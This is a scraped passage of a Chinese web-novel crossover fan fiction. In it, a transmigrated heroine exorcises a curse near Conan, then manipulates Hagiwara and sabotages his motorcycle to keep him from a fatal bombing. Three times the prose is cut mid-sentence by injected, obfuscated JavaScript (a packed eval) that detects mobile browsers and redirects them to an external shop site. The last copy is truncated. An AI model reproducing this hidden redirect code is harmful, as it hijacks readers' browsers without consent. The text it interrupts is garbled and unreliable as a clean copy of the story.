“你好。”鎏汐回以一个浅淡的笑容,紧绷的神经渐渐放松了些。 第一节课的铃声很快响起,鎏汐拿出课本,认真地听着老师讲课。可注意力却总是不自觉地飘远,指尖在课本上轻轻划过,仿佛还能感受到上个世界松田在她课本上偷偷画的小涂鸦——那时他总说她听课太认真,像个小书呆子,就喜欢在她的课本角落画些奇奇怪怪的小人。 下课铃一响,教室里瞬间恢复了喧闹。毛利兰立刻拉着一个金发卷发的女生走了过来,那个女生穿着精致的发饰,眼神灵动,上下打量着鎏汐,眼睛一亮:“哇,夏油同学,你长得好漂亮啊!我叫铃木园子,是兰的好朋友!” 铃木园子的热情像小太阳一样,瞬间驱散了鎏汐的拘谨。她笑着回应:“谢谢,你也很可爱。” “你之前是哪个学校的呀?为什么转学过来呀?”铃木园子一连串的问题抛了过来,语气里满是好奇。毛利兰轻轻拉了拉她的衣袖,轻声说:“园子,别问这么多,会吓到夏油同学的。” “没关系。”鎏汐摇摇头,语气轻柔,“我之前在外地读书,因为家里的一些事情,才转学过来的。”她没有多说,只是简单带过,毛利兰和铃木园子很识趣地没有追问,转而和她聊起了学校的趣事,比如哪个老师讲课最有趣,学校食堂的什么菜最好吃。 听着两人叽叽喳喳的聊天声,鎏汐的嘴角渐渐扬起了真切的笑容。很久没有这样轻松过了,不用再担心咒灵的袭击,不用再回忆那些痛苦的画面,只是像个普通的高中生一样,和新朋友聊着琐碎的日常。 时间过得很快,转眼就到了放学时间。鎏汐收拾好书包,跟着毛利兰和铃木园子一起走出教室。刚走到校门口,一道熟悉的身影就撞入了她的眼帘。 校门口的梧桐树下,停着一辆黑色的摩托车。松田阵平穿着笔挺的警服,身姿挺拔地倚在车旁,夕阳的余晖洒在他身上,为他桀骜的眉眼镀上了一层柔和的光晕。他的目光越过人群,精准地落在鎏汐身上,原本带着几分冷意的眼神,瞬间柔和了下来。 鎏汐的心跳猛地漏了一拍,脚步下意识地停住了。毛利兰和铃木园子也注意到了松田阵平,铃木园子好奇地问:“兰,你认识那位警官吗?” 毛利兰点点头,语气带着几分惊讶:“嗯,他是松田警官。上次夏油家发生命案,我跟着爸爸去过现场,见过他。”她说着,看向鎏汐,眼神里带着一丝担忧,“夏油同学,你……” “我没事。”鎏汐对她笑了笑,安抚了她的情绪,然后朝着松田阵平的方向走去。 “松田警官!”毛利兰对着松田阵平微微鞠躬。 松田阵平微微颔首,算是回应,目光却始终停留在鎏汐身上,语气带着几分不易察觉的关切:“走吧,回家。” 鎏汐点点头,坐上了摩托车的后座。她下意识地伸出手,抓住了松田阵平的衣角。熟悉的雪松气息混杂着淡淡的汽油味,萦绕在鼻尖,让她瞬间感到安心。这是她第一次坐他的摩托车,上个世界他总是说摩托车太危险,不让她坐,每次都开车接送她。 松田阵平感受到身后的小动作,指尖微微蜷缩了一下。他发动摩托车,声音透过头盔传来,带着几分沉闷,却清晰地落在鎏汐的耳中:“今天在学校还好吗?有没有人欺负你?” “没有,挺好的。”鎏汐轻轻摇了摇头,脸颊因为靠得太近,能清晰地感受到他后背的温度,微微发烫,“我认识了两个很友善的同学,毛利兰和铃木园子。” “嗯。”松田阵平应了一声,摩托车缓缓驶离了校门口。风拂过脸颊,带着夕阳的暖意,鎏汐微微侧头,看着身边飞速掠过的风景,又看了看身前松田挺拔的背影,嘴角不自觉地扬起了一抹温柔的笑容。 夕阳将两人的影子拉得很长,映在石板路上,随着摩托车的行驶,渐渐远去。毛利兰站在原地,看着他们离去的背影,眼神里带着一丝疑惑:“松田警官和夏油同学,好像关系很好的样子。” 铃木园子点点头,语气带着几分八卦:“是啊,而且我觉得那位松田警官看夏油同学的眼神,很不一样呢!说不定……” 鎏汐没有听到身后的议论,她靠在松田阵平的后背,感受着他平稳的心跳。风轻轻吹起她的发丝,拂过松田的后背。松田阵平似乎察觉到了什么,下意识地放慢了车速。 “下次如果放学晚,或者有什么事,记得给我打电话。”松田的声音再次传来,带着不容置疑的笃定,“不要一个人乱跑,知道吗?” “嗯,我知道了。”鎏汐轻声应道,手指抓得更紧了些。 午休的铃声像一阵轻快的风,吹散了课堂上的沉闷。鎏汐收拾好桌上的课本,跟着人流走出教室,指尖还残留着刚才毛利兰递来的橘子糖的清甜。帝丹高中的林荫道上,阳光透过层层叠叠的梧桐叶,筛下细碎的光斑,落在地面的落叶上,踩上去发出沙沙的轻响。 她沿着林荫道慢慢走着,试图将自己融进这份难得的宁静里。转学帝丹的这几天,毛利兰的温柔和善、铃木园子的热情爽朗,像两束温暖的光,一点点驱散着她心底的阴霾。可只有鎏汐自己知道,那些血色的记忆从未真正远去,养父母倒在血泊中的模样、夏油杰冰冷的眼神,总会在不经意间涌上心头,让她脊背发凉。 她下意识地抬手,轻轻按在腹部——那里曾被夏油杰的咒力击穿,留下一道浅浅的疤痕。指尖触碰到布料的瞬间,她仿佛又感受到了当时那种撕心裂肺的疼痛,还有松田阵平在医院里守着她时,眼底藏不住的担忧。明明他不记得上个世界的过往,可那份刻在骨子里的守护,却总能在不经意间温暖她。 一阵细碎的猫叫,打破了鎏汐的思绪。 那声音软糯又带着几分委屈,从路边的灌木丛旁传来。鎏汐停下脚步,循声望去,只见一只橘色的小猫正蜷缩在灌木丛的阴影里,小小的身子微微发抖,像是受了惊吓。而在小猫不远处,一个穿着蓝色外套、戴着黑框眼镜的小男孩,正弓着身子,小心翼翼地往前挪着脚步,动作轻柔得像怕惊扰了什么。 江户川柯南。 看到这个身影的瞬间,鎏汐的心跳微微顿了一下。她记得这个名字,在上个世界的零星记忆里,松田曾提起过这个总是出现在案发现场的奇怪小孩,说他虽然看起来年幼,眼神却敏锐得不像个孩子。那时她还笑着打趣松田,说他是职业病犯了,连个小孩都要琢磨。 “小朋友,你在找它吗?”鎏汐放轻脚步走过去,声音温柔得像羽毛,生怕吓到小猫。 柯南猛地转过身,警惕地看向她。当看清鎏汐的模样时,他眼中的警惕稍稍褪去了些,取而代之的是一丝好奇。眼前的女生穿着帝丹高中的蓝白校服,眉眼干净柔和,身上带着一种让人莫名安心的气质。他仰起小脸,语气稚嫩,眼神却在不动声色地打量着她:“姐姐你好,我是江户川柯南,在帮同学找走失的猫。” 鎏汐点点头,目光落在那只橘猫身上,眼底闪过一丝温柔:“它好像吓到了,我们慢一点靠近它吧。” 她刚要往前迈步,一股阴冷的气息突然顺着风飘了过来,像冰锥一样刺在皮肤上。鎏汐的脚步瞬间顿住,眉头猛地蹙起,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014978|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖的灵力下意识地开始流转。这股气息……是咒灵! 她不动声色地环顾四周,视线最终落在了灌木丛深处。那里的空气似乎比周围更浑浊一些,隐约浮动着一团淡淡的黑色雾气——是一只低级咒灵,正依附在小猫附近,散发着微弱却真实的恶意。这种低级咒灵虽然没有太强的攻击力,却能放大生物的恐惧情绪,想来这只小猫会这么害怕,就是因为被这只咒灵的气息影响了。 “姐姐,这里好像有点奇怪。”柯南的声音突然响起,带着一丝困惑。他虽然看不到咒灵,也感受不到咒力,却能敏锐地察觉到周围氛围的异常,就像有什么东西在暗处盯着他们,让他浑身不舒服。 鎏汐心中微动。果然,这个柯南不简单。寻常的小孩,根本不可能察觉到咒灵带来的异常氛围。她压下心中的惊讶,脸上依旧带着温和的笑容:“可能是这里太安静了,让你产生错觉了吧。” 她说着,慢慢蹲下身,借着弯腰想要抚摸小猫的动作,将指尖的一缕金色灵力悄悄释放出去。灵力像细细的丝线,无声无息地缠绕向那团黑色雾气。那只低级咒灵似乎察觉到了危险,发出一声细微的嘶鸣,黑色的雾气开始剧烈地翻滚起来。 柯南敏锐地捕捉到了那声细微的声响,眉头皱得更紧了:“姐姐,你听到什么声音了吗?” “没有呀。”鎏汐的声音依旧平静,指尖的灵力却在不断收紧。金色的灵力像一张细密的网,将那团黑色雾气牢牢包裹住。随着一声几乎细不可闻的爆裂声,黑色雾气瞬间消散无踪,周围的阴冷气息也随之消失了。 一直蜷缩着发抖的橘猫,像是突然松了口气,慢慢抬起头,警惕地看了鎏汐和柯南一眼,然后小心翼翼地蹭了蹭鎏汐伸过去的手。毛茸茸的触感从指尖传来,带着暖暖的温度,鎏汐的嘴角不自觉地扬起了一抹真切的笑容。 柯南将这一切都看在眼里,眼神里的疑惑更浓了。刚才那种不舒服的感觉,明明是在这位姐姐靠近灌木丛后,才突然消失的。而且,他刚才好像看到灌木丛里有什么东西闪了一下,速度很快,像是金色的光。是他看错了吗? “找到啦!”不远处突然传来一个清脆的女生声音,打破了两人之间的微妙氛围。鎏汐和柯南同时转过头,看到一个扎着羊角辫、穿着粉色连衣裙的小女孩,正蹦蹦跳跳地跑过来——是吉田步美,鎏汐在班级里见过她。 步美跑到橘猫身边,开心地蹲下身,将小猫抱进怀里,亲昵地蹭了蹭:“小橘,原来你在这里!吓死我了!”她抬起头,看到鎏汐和柯南,脸上露出了甜甜的笑容,“谢谢姐姐,谢谢柯南同学,帮我找到了小橘!” “不用谢,是这位姐姐先发现小橘的。”柯南指了指鎏汐,眼神依旧带着一丝探究。 步美又向鎏汐道了谢,抱着小猫蹦蹦跳跳地走了。林荫道上重新恢复了安静,只剩下鎏汐和柯南两个人。 柯南盯着鎏汐,像是下定了决心一样,仰起头认真地问:“姐姐,你刚才有没有感觉到什么奇怪的东西?比如……一种让人不舒服的感觉?” 鎏汐的心轻轻跳了一下。这个小孩,观察力竟然这么敏锐。她知道,自己刚才净化咒灵的举动,大概率已经引起了他的怀疑。可咒灵和咒力的存在,太过匪夷所思,若是贸然告诉柯南,只会给他带来不必要的危险。 她蹲下身,与柯南平视,眼神温柔又坚定:“没有哦,柯南。”她伸出手,轻轻摸了摸柯南的头,指尖的温度带着安抚的力量,“可能是你太担心小猫了,所以才会有那种不舒服的感觉。现在小猫找到了,是不是就好多了?” 柯南没有说话,只是定定地看着她。眼前的姐姐笑得很温柔,眼神也很干净,可他总觉得,这位姐姐身上藏着秘密。刚才那种不舒服的感觉消失得太蹊跷了,还有那一闪而过的金色光芒,绝对不是他的错觉。 鎏汐能感受到柯南的怀疑,却没有再多说什么。她站起身,对着柯南笑了笑:“我该回教室了,柯南小朋友,你也要早点回你的班级哦。” 说完,她转身沿着林荫道往教学楼的方向走去。阳光洒在她的身上,将她的影子拉得很长,衣摆随着脚步轻轻晃动,像一只欲飞的蝴蝶。 柯南站在原地,看着鎏汐的背影,眉头紧紧地皱着。他从口袋里拿出手机,快速地按了几个键,拨通了一个电话。电话接通后,他压低声音,语气严肃:“喂,博士……我刚才遇到了一个奇怪的姐姐,她身边好像有什么不寻常的东西……” 鎏汐走着走着,似乎感觉到了什么,脚步微微顿了一下。她没有回头,只是指尖的灵力轻轻动了动。她知道,柯南不会轻易放弃对她的怀疑。但她并不后悔净化那只咒灵,无论是为了那只无辜的小猫,还是为了不让咒灵的恶意影响到更多人,她都必须那么做。 阳光穿过树叶的缝隙,落在她的脸上,温暖得有些发烫。鎏汐轻轻吸了口气,将心中的思绪压下去。她现在只想好好享受这份难得的校园时光,守护好身边的人。至于柯南的怀疑,她只能走一步看一步了。 回到教室时,毛利兰和铃木园子已经在座位上等她了。看到她回来,园子立刻热情地招手:“鎏汐!你去哪里啦?我们找你好久,想喊你一起去食堂吃饭呢!” “刚才在外面遇到一只走失的小猫,帮一个小朋友找了找它的主人。”鎏汐走过去坐下,语气轻松,仿佛刚才与柯南的相遇和咒灵的出现,都只是一场微不足道的小插曲。 毛利兰温柔地笑了笑:“鎏汐你真好心。快走吧,再不去食堂,好吃的就要被抢光啦!” 24.第 24 章 夜风带着涩谷街头特有的喧嚣气味,从居酒屋半敞的门缝钻进来。鎏汐挽着萩原研二的手臂走出店门时,指尖不着痕迹地收紧了一瞬——那道视线又来了。 从半小时前开始,她就察觉到有人在跟踪。 那不是普通路人的偶然注视,而是黏在脊背上的、带着审视与恶意的窥探。鎏汐借着调整围巾的动作侧过脸,余光瞥见街对面便利店门口站着一个穿黑色西装的男人。他举着手机假装通话,镜片后的眼睛却死死锁定着她和萩原的方向。 黑衣组织的人。鎏汐在心里冷笑一声,面上却漾起更甜的笑意,将脑袋轻轻靠在萩原肩头。 “研二,”她故意拖长尾音,声音软糯得像融化的棉花糖,“今天喝得有点多,头好晕哦。” 萩原下意识扶住她的腰,语气里带着无奈的纵容:“谁让你刚才非要和松田拼酒?他那个酒量你也敢接招。” “那不是不想给你丢脸嘛。”鎏汐眨眨眼,借着酒意将整个人的重量都倚向他。温热的体温透过警服衬衫传来,她能感觉到萩原瞬间绷紧的肌肉,以及随后悄然放松的无奈。 这是个好兆头。说明他已经开始习惯她的靠近,甚至开始享受这种亲昵。 两人沿着人行道缓步前行,鎏汐故意选了一条热闹的夜市街。晚上九点的涩谷,摊贩的叫卖声、游客的嬉笑声、街头艺人的吉他声混杂在一起,织成一张喧嚣的网。她拉着萩原穿梭在章鱼烧和可丽饼摊位之间,时不时停下指着某样小吃撒娇:“研二,我想吃这个。” 每次驻足,她都会用余光确认跟踪者的位置。 那人跟得很紧,但显然不擅长在密集人群中行动。鎏汐故意在一个卖面具的摊位前停留许久,试戴了狐狸、猫又、天狗三种面具,每戴一种就转身问萩原:“好看吗?” 萩原被她孩子气的举动逗笑,伸手帮她调整猫又面具的系带:“这个适合你,像只狡猾的小猫。” 鎏汐透过面具的眼孔看他。暖黄色的摊位灯光落在他脸上,柔和了平时拆弹时紧绷的线条。他的睫毛很长,垂眸时在眼下投出浅浅的阴影——这是个会在摩天轮下捧着白玫瑰对她告白的男人,也是个会在四天后死于地铁炸弹陷阱的警察。 她必须救他。哪怕要用最卑劣的欺骗。 “那就买这个吧。”鎏汐摘下面具,掏出钱包。付钱时,她故意让硬币掉在地上,弯腰去捡的瞬间,视线迅速扫过身后十米处——黑色西装的男人正挤过一个卖烤串的摊位,动作有些狼狈。 很好。鎏汐直起身,将找零塞进钱包,挽住萩原的手:“我们往那边走吧,人少一点。” 她选的是一条岔路,看起来通往居民区,实际却连接着几条交错的小巷。跟踪者果然跟了上来,脚步声在逐渐稀疏的人声中变得清晰。 走到第三条小巷口时,鎏汐突然停下。 “怎么了?”萩原问。 鎏汐没回答,而是猛地转身看向巷子深处。阴影里空无一人,但她知道那个人就躲在拐角后。她深吸一口气,让声音带上恰到好处的颤抖:“研二……刚才,是不是有人一直跟着我们?” 萩原立刻警觉起来。他将鎏汐拉到身后,身体微微前倾,眼神锐利地扫视四周:“从什么时候开始的?” “从居酒屋出来就感觉到了。”鎏汐抓住他的外套下摆,指尖微微发抖——三分表演,七分真实。组织的眼线出现得太频繁了,这意味着朗姆已经开始怀疑她的身份,“那道目光好吓人,冷冰冰的,像毒蛇一样……” 话音刚落,巷子深处传来极轻的脚步声。 萩原立刻将鎏汐护在怀里,另一只手已经摸向腰后——那里通常配枪,但今晚是私人聚会,他没带。“谁在那里?”他沉声喝道。 没有回应。只有夜风吹过巷子,卷起几张废报纸。 鎏汐将脸埋在萩原胸口,能听到他有力的心跳。一下,两下,平稳而坚定。这个明明自己也身处危险的男人,第一反应却是保护她。愧疚像细针一样扎进心脏,但她很快将那点刺痛压下去——感情用事会害死所有人。 “可能……可能是我太紧张了。”她抬起头,眼眶泛红,演技无可挑剔,“对不起,让你担心了。” 萩原低头看她,警戒未消,语气却放柔了:“没事就好。我送你回家,这几天我会注意的。” 他揽着她的肩继续往前走,但步伐明显加快了。鎏汐乖顺地跟着,却在心里快速盘算:眼线已经确认她和萩原的关系,接下来肯定会向朗姆汇报。这意味着她必须加快进度,在组织采取行动前,先让萩原对她情根深种,深到愿意听从她的“预感”和“建议”。 比如四天后,不要准时出现在那列死亡地铁上。 走到公寓楼下时,鎏汐拽住萩原的衣袖。她仰起脸,让路灯的光恰好落在眼睛里,制造出湿漉漉的效果:“研二,今晚……你能陪我上去吗?我一个人有点害怕。” 萩原明显怔了一下。他看着鎏汐,喉结滚动,耳根以肉眼可见的速度泛红。犹豫了几秒,他轻轻点头:“好。我等你睡下再走。” 鎏汐笑了,踮脚在他脸颊亲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019363|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下:“你真好。” 这是她计划中的一步:适当的肢体接触和示弱,能快速拉近距离,也能为后续的“生病拖延计划”做铺垫。她需要萩原习惯她的依赖,习惯把她放在需要保护的位置上。 这样当她哭着说“别去,我有不好的预感”时,他才会犹豫。 公寓的门关上后,鎏汐给萩原泡了茶,两人坐在沙发上闲聊。她故意提起松田白天刁难她的事,语气委屈巴巴:“松田警官好像一直不喜欢我,我今天是不是给你添麻烦了?” “阵平就是那种性格,对谁都毒舌。”萩原接过茶杯,指尖不经意擦过她的手背,“但他心不坏,时间久了你就知道了。” “可是我只在乎你怎么看我。”鎏汐凑近一些,气息拂过他下巴,“研二,你觉得我是个什么样的人?” 问题抛出的时机恰到好处。昏暗的暖光灯,封闭的私人空间,刚刚经历过的“跟踪惊吓”,以及淡淡的酒意——所有这些因素叠加,会让人的心理防线变得脆弱。 萩原果然沉默了。他看着她,眼神复杂地流转,最后定格在一种鎏汐很熟悉的柔软里。 “你是个……”他斟酌着用词,“很特别的人。一开始我觉得你接近我有目的,后来发现你总是能在关键时刻出现,提醒我避开危险。像今天在废弃工厂,要不是你指出那条隐藏线路……” “我只是运气好。”鎏汐垂下眼睫,扮演恰到好处的谦虚,“而且我不想看你出事。每次想到你穿着防爆服蹲在炸弹前的样子,我就……” 她适时止住话头,留下引人遐想的空白。 萩原伸手,轻轻握住她的手。掌心温热,带着常年拆弹磨出的薄茧。“鎏汐,”他声音很低,“我有时候会觉得,你像突然出现在我生命里的守护神。” 鎏汐心脏猛地一缩。 她抬眼看他,努力让笑容显得甜蜜而真挚:“那你要好好听守护神的话哦。比如……以后出任务前,都要告诉我。我会一直为你祈祷的。” “好。”萩原点头,拇指摩挲她的手背,“我答应你。” 窗外,夜色渐深。鎏汐靠在他肩上,听着他平稳的呼吸,目光却落向窗外某个阴影处——她知道,那个黑衣眼线一定还在盯着这扇窗。 让她看吧。鎏汐闭上眼,在心底冷笑。看我怎么用最甜蜜的陷阱,救下你们想杀的人。 而四天后的地铁站,她会用一场恰到好处的“高烧”,一个无法启动的摩托车引擎,和一次精心策划的交通拥堵,把萩原研二从死神的名单上彻底划掉。 25.第 25 章 夜风裹着十一月的寒意,从半开的车窗钻进来。鎏汐靠在副驾驶座上,指尖无意识地摩挲着安全带。车载收音机里,女主播正用甜美的嗓音播报明日天气预报:“……受冷空气影响,凌晨至清晨将有小到中雨,气温骤降,请市民注意添衣保暖。” 雨。鎏汐闭了闭眼。原剧情里,萩原研二殉职的那天,东京也在下雨。 “怎么了?”驾驶座上的萩原注意到她的沉默,伸手将空调温度调高了两度,“冷吗?” “不冷。”鎏汐侧过头,路灯的光影在他脸上明明灭灭。这个男人今天穿了件深灰色的毛衣,衬得下颌线条愈发分明——那是她在爆炸现场第一次见到他时,他穿着厚重防爆服、半蹲在炸弹前拆解线路的模样。那时的他眼神冷得像冰,手肘毫不留情地将她推开,眼底满是对“借事故蹭热度者”的厌恶。 而现在,他会在她手冷时,用掌心包裹住她的指尖轻轻呵气。 “研二,”鎏汐轻声开口,“明天……你有什么安排吗?” “早上有个拆弹任务,在地铁站。”萩原转动方向盘,车子拐入通往她公寓的街道,“怎么突然问这个?” 心脏在胸腔里重重一跳。来了。就是明天。那列死亡地铁,那枚精心设计的陷阱炸弹,那个在原剧情里会夺走他生命的时刻。 “没什么。”鎏汐垂下眼睫,让声音带上恰到好处的担忧,“就是……昨晚做了个噩梦,梦见你拆弹时出了意外。” 她感觉到萩原的手顿了顿。 “梦都是反的。”他语气轻松,但鎏汐捕捉到他眼底一闪而过的凝重——拆弹警察的宿命,就是每天与死神擦肩而过,谁都不敢说“绝对安全”。 车子在她公寓楼下停稳。鎏汐没有立刻解开安全带,而是转过身,伸手捧住萩原的脸。她的动作很轻,指尖却带着不容拒绝的力度,迫使他直视自己的眼睛。 “研二,”她一字一句地说,让每个音节都裹上蜜糖般粘稠的深情,“答应我,明天一定要小心。如果……如果觉得不对劲,就立刻撤退,不要逞强,好不好?” 月光透过车窗洒进来,在她眼里映出细碎的流光。那是她练习过无数遍的眼神——三分担忧,三分爱意,四分恰到好处的脆弱,混合成一种足以让任何男人心软的凝视。 萩原看着她,喉结滚动了一下。他抬手覆上她的手背,掌心温热:“我答应你。” 但鎏汐知道,光靠一句承诺是不够的。在原剧情里,萩原是个责任心极强的警察,就算察觉到危险,只要还有一线希望,他都会选择留下拆弹。 她需要更实际的“保险”。 “那……”鎏汐凑近,气息拂过他的唇畔,“今晚留下来陪我,好不好?我……我心里总是不踏实。” 这是一个试探。如果萩原同意,她就有更多时间实施下一步计划;如果他拒绝,她就得另想办法。 萩原沉默了几秒。鎏汐能感觉到他身体的紧绷——警察的警觉让他习惯保持距离,但热恋中的情感又让他难以拒绝恋人的请求。 最终,他轻轻点头:“好。我陪你。” 鎏汐心里松了口气,面上却绽放出欣喜的笑容。她解开安全带,率先下车,走到公寓楼门前输入密码。铁门开启的“咔哒”声在寂静的夜里格外清晰。 深夜,凌晨两点十七分。 鎏汐躺在卧室床上,听着身侧传来萩原均匀的呼吸声。她闭着眼,在心里默数到三百,然后缓缓睁开。 月光从窗帘缝隙漏进来,在地板上投出狭长的光斑。她侧过身,借着昏暗的光线打量萩原的睡颜——他睡得很沉,大概是连日高强度工作积累的疲惫终于爆发。这是最好的时机。 鎏汐悄无声息地掀开被子,赤脚踩在地板上。她没有开灯,凭着记忆摸到床头柜前,指尖触到萩原放在上面的车钥匙。冰凉的金属质感让她心跳加速。 她需要破坏他的摩托车发动机,确保他明天无法准时抵达地铁站。 但在这之前—— 鎏汐走到书桌前,打开笔记本电脑。屏幕亮起的蓝光映在她脸上,她快速登录一个加密的暗网论坛。这是她穿越到这个世界后,花费数月时间建立的情报网之一。她在搜索栏输入“东京地铁线路施工申请”,很快找到了市政部门的内部联络渠道。 手指在键盘上飞快敲击。她伪造了一份紧急道路施工通知,将明天早上七点至九点——正好是萩原赶往地铁站的时间段——涩谷区三条主干道列为“紧急抢修区域”,要求全线封闭。 “搞定。”鎏汐轻轻吐出一口气,合上电脑。 接下来是摩托车。 她换上深色运动装,将长发束成利落的马尾,戴上黑色手套。萩原的公寓车库在楼下,她之前已经借着“帮他拿东西”的机会摸清了位置和门锁密码。 凌晨的街道空无一人,只有路灯在寒风中投下昏黄的光晕。鎏汐快步穿过小巷,来到公寓楼后的地下车库。感应灯随着她的脚步一盏盏亮起,又在她经过后一盏盏熄灭。 萩原的摩托车停在最里面的车位。那是一辆黑色的本田CB400SF,保养得极好,车身上还贴着他最喜欢的“拆弹小组”标志贴纸。 鎏汐蹲下身,从随身携带的工具包里取出扳手和螺丝刀。她不是机械专家,但穿越前的特工训练让她掌握了基本的破坏技巧——不需要让车彻底报废,只需要制造一个“看起来像是偶然故障”的问题。 她拆开发动机侧盖,找到燃油泵的电路接口。指尖捏住一根细小的电线,轻轻一拧,金属丝断裂。接着,她又在火花塞上做了手脚,让它在启动时会产生间歇性跳火,导致发动机无法正常点火。 整个过程只用了十五分钟。鎏汐将一切复原,用湿巾擦掉指纹和可能留下的痕迹。最后,她从工具包里拿出一个小型遥控装置,小心翼翼地塞进摩托车座椅下方的缝隙里。 这是她的备用计划——如果萩原奇迹般地修好了车,这个装置会在明早七点十分自动发送干扰信号,让摩托车在行驶中突然熄火。 “对不起,研二。”鎏汐站起身,指尖轻抚过冰冷的车身,“但我必须让你活下来。” 回到公寓时,凌晨三点已过。鎏汐在玄关脱掉鞋子,赤脚走回卧室。萩原还在熟睡,呼吸平稳。 她站在床边看了他一会儿,然后轻手轻脚地躺回他身边。温热的体温透过睡衣传来,带着令人安心的气息。鎏汐闭上眼,在心里重新梳理明天的计划: 早上六点半,她会准时“发烧”。体温计已经提前调整过,会显示38.5度的高温。她会用虚弱的声音打电话给萩原,请求他留下来照顾自己。 七点整,萩原会发现摩托车无法启动。他会尝试修理,但至少需要二十分钟——这是她计算好的时间。 七点二十分,萩原如果决定打车前往地铁站,会遭遇她制造的“道路施工”拥堵。从公寓到地铁站原本只需要十五分钟车程,明天早上至少需要四十分钟。 八点十分,原剧情里炸弹爆炸的时间。那个时候,萩原应该还堵在路上。 一切都计算好了。每一个环节都精密得像她曾经拆解过的炸弹。 但心脏深处,依然有什么东西在隐隐作痛。 鎏汐翻了个身,背对着萩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你发烧了。”萩原眉头紧皱,“我送你去医院。” “不要……”鎏汐摇头,眼泪恰到好处地涌出来,“我害怕医院……研二,你留下来陪我好不好?就今天……就今天一天……” 她哭得梨花带雨,声音破碎得像下一秒就要昏厥。这是她精心设计的表演——足够真实,足够脆弱,足够让任何一个爱她的男人心软。 萩原僵在原地。鎏汐能看到他眼底激烈的挣扎:一边是高烧的恋人,一边是紧急的拆弹任务。他的手机在这时响起——是警视厅打来的,提醒他七点前必须抵达地铁站。 “研二……”鎏汐伸手,轻轻拽了拽他的衣角,“求你了……” 电话那头传来同事焦急的声音:“萩原,地铁站那枚炸弹很棘手,需要你尽快到场!” 萩原握着手机,目光在鎏汐苍白的脸上停留了漫长的三秒。然后,他对着电话说:“我这边……有点紧急情况。可能需要晚一点到。” 挂断电话后,他俯身摸了摸鎏汐的头发:“我先去楼下药店给你买退烧药,然后……” “不要走。”鎏汐抱住他的腰,将脸埋在他胸口,“我怕你走了就不回来了……就像我梦里那样……” 她的声音在发抖。这次不是演的——有那么一瞬间,她真的害怕了。害怕计划失败,害怕他最终还是去了地铁站,害怕四小时后接到他殉职的消息。 萩原的身体明显僵硬了。他沉默了很久,久到鎏汐几乎以为他要推开她。 但最终,他只是叹了口气,将她搂得更紧:“好,我不走。我陪你。” 鎏汐闭上眼,泪水终于真的滚落下来。 这一次,不是演技。 窗外的雨开始下了。淅淅沥沥的雨声敲打着玻璃,像是在为一场即将被改写的死亡,奏响哀悼与庆幸交织的序曲。 而远处的地铁站里,那枚注定要在四小时后爆炸的炸弹,正静静等待着永远不会到来的、名为萩原研二的拆弹专家。 26.第 26 章 晨光透过窗帘缝隙,在木质地板投下狭长的光斑。鎏汐蜷缩在沙发上,身上裹着萩原的警服外套——那是他出门前留下的,带着淡淡的烟草味和洗衣液的清香。 墙上的时钟指向早上七点十分。 手机屏幕亮着,定位软件上,代表萩原研二的红点正停在公寓楼下,已经静止了十五分钟。鎏汐盯着那个红点,指尖无意识地摩挲着手机边缘。她模拟发烧的表演很成功:萩原原本已经走到玄关,却在她一声虚弱的“研二别走”中折返,用额头贴着她的额头测量体温,最后叹了口气说“我很快就回来”。 但他还是走了。 这就是警察的责任感——就算担心恋人,也要去执行任务。鎏汐理解这一点,所以她准备了第二重、第三重保险。 第一重保险:摩托车故障。 手机震动,收到一条加密信息:“目标车辆检测到异常启动失败,已触发遥控熄火装置。预计维修时间:30分钟。” 鎏汐嘴角扬起一丝几乎看不见的弧度。很好。萩原现在应该正蹲在那辆黑色的本田CB400SF前,眉头紧锁地检查发动机。他会发现燃油泵线路莫名断裂,火花塞间歇性跳火,而座椅下的遥控装置已经在她设定的时间——七点十分——自动发送干扰信号,让本就故障的摩托车彻底瘫痪。 她想象着他此刻的表情:焦急,不解,还有一丝被命运捉弄的烦躁。那个总是从容不迫的拆弹专家,第一次被“意外”绊住了脚步。 第二重保险:交通拥堵。 鎏汐切换到另一个界面,调出东京交通实时监控系统。屏幕上,涩谷区三条主干道的路段显示为刺眼的红色——“紧急施工,全线封闭”。这是她昨夜伪造的市政通知,现在应该已经生效了。 她计算过时间:从公寓到地铁站,正常车程十五分钟。但如果萩原选择打车,他会发现所有导航软件都建议绕行,而绕行的路线正在早高峰时段堵得水泄不通。 墙上的时钟跳到七点二十五分。 定位软件上的红点终于开始移动——很慢,像蜗牛爬行。萩原选择了出租车,但正如鎏汐预料的那样,他陷入了拥堵的车流。 手机在这时响起。来电显示:研二。 鎏汐深吸一口气,让声音带上恰到好处的虚弱和担忧:“研二……你到地铁站了吗?我头还是好疼……” 电话那头传来嘈杂的车流声和司机不耐烦的喇叭声。萩原的声音压得很低,透着压抑的焦躁:“鎏汐,我这边……遇到点麻烦。摩托车坏了,现在打车又堵在路上。你感觉怎么样?烧退一点了吗?” “还是好烫……”鎏汐蜷缩在沙发上,故意让声音带上一丝哭腔,“研二,你能不能……能不能回来?我一个人好害怕……” 她在赌。赌萩原心里那架天平——一边是紧急的拆弹任务,一边是高烧虚弱的恋人——会向她倾斜哪怕一点点。 